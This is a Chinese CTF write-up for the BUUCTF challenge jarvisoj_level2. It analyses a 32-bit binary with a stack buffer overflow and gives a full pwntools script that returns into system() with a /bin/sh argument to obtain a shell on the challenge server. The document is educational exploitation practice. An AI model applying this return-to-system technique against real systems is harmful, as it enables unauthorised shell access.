BUUCTF-jarvisoj_level2题解
目录
考点:栈溢出漏洞。
本文需要你了解栈溢出漏洞相关知识,如果尚未了解,可移步至【ctf-wiki】学习
下载文件以后,查看文件信息:
$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
查看保护信息:
$ checksec --file=level2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70 Symbols No 0 1 level2
没有发现canary
,说明我们有机会溢出,为什么说有机会呢?万一我们都无法利用puts
函数呢,又或者输入长度被限制了呢?
NX
也开启了,那程序就无法将栈上的数据作为指令来运行。
继续运行看看:
$ ./level2
Input:
yalexin
Hello World!
$ ./level2
Input:
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
zsh: segmentation fault ./level2
看来可能是溢出了。
继续使用IDA32反编译看看,main
函数如下:
int __cdecl main(int argc, const char **argv, const char **envp){
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
跟进去第一个函数:
ssize_t vulnerable_function(){
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);
}
我们可以看到,buf
的长度是0x88h
,我们能够输入的长度是0x100
,满足溢出条件!
继续观察,看看有没有可以利用的函数:
我们花了2.12s发现了一个调用了system
函数的函数,那么我们直接通过溢出,设置返回地址到该地址,然后传递/bin/sh
作为参数,获取shell
即可。
继续看看有没有可以利用的字符串:
继续花了3.02s发现了/bin/sh
的地址。
因此我们可以构造这样子的payload
,使得执行完read()
函数后,程序直接跳转到_system()
函数,进而执行system
函数。
本程序是32程序,gcc编译的32位程序,遵循这样的函数调用准则:
- 调用方将实参保存到栈中
- 被调方使用栈顶偏移量的方式访问保存到栈中的变量
- 程序刚刚进入函数时候,也就是将要执行该函数的第一条指令时,栈顶保存的是执行完该被调函数后的返回地址,栈顶的下面(我们规定上面是低地址,下面是高地址)依次保存着该调用函数用到的形参,注意分别对应着从右到左的参数
那么本题的payload
就应该长这样子:
payload = padding * b'a' + p32(0xffffe000) + p32(system_func_addr) + p32(0xffffe000) + p32(bin_sh_str_addr)
padding * b'a'
理论上可以随意跟上一个地址,该地址将来成为函数调用返回后的栈底地址,这里我设置了一个通过在gdb
环境下看到的栈开始的地址。
完整payload如下:
from pwn import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')
debug = True
hacker = None
if debug:
hacker = process('./level2')
else:
hacker = remote('node4.buuoj.cn', 27312)
padding = 0x88
system_func_addr = 0x8048320
bin_sh_str_addr = 0x0804a024
# 首先先将该字符串数组填满,再输入一个地址,该地址将会作为新的栈底地址 ebp
# 再接着写入 函数调用返回的地址(即该值将来会pop 到 eip 中),即执行我们的system函数,为了把 字符串 /bin/sh 地址传入,我们还要往栈中随意插入一个将来的返回地址,再插入/bin/sh 地址
payload = padding * b'a' + p32(0xffffe000) + p32(system_func_addr) + p32(0xffffe000) + p32(bin_sh_str_addr)
hacker.sendlineafter(b'Input:\n', payload)
hacker.interactive()
本题难度应该不大,可是为什么在BUUCTF中,为什么通过该题的人数竟然比一些我认为比较难的题目的还少??
历史评论
开始评论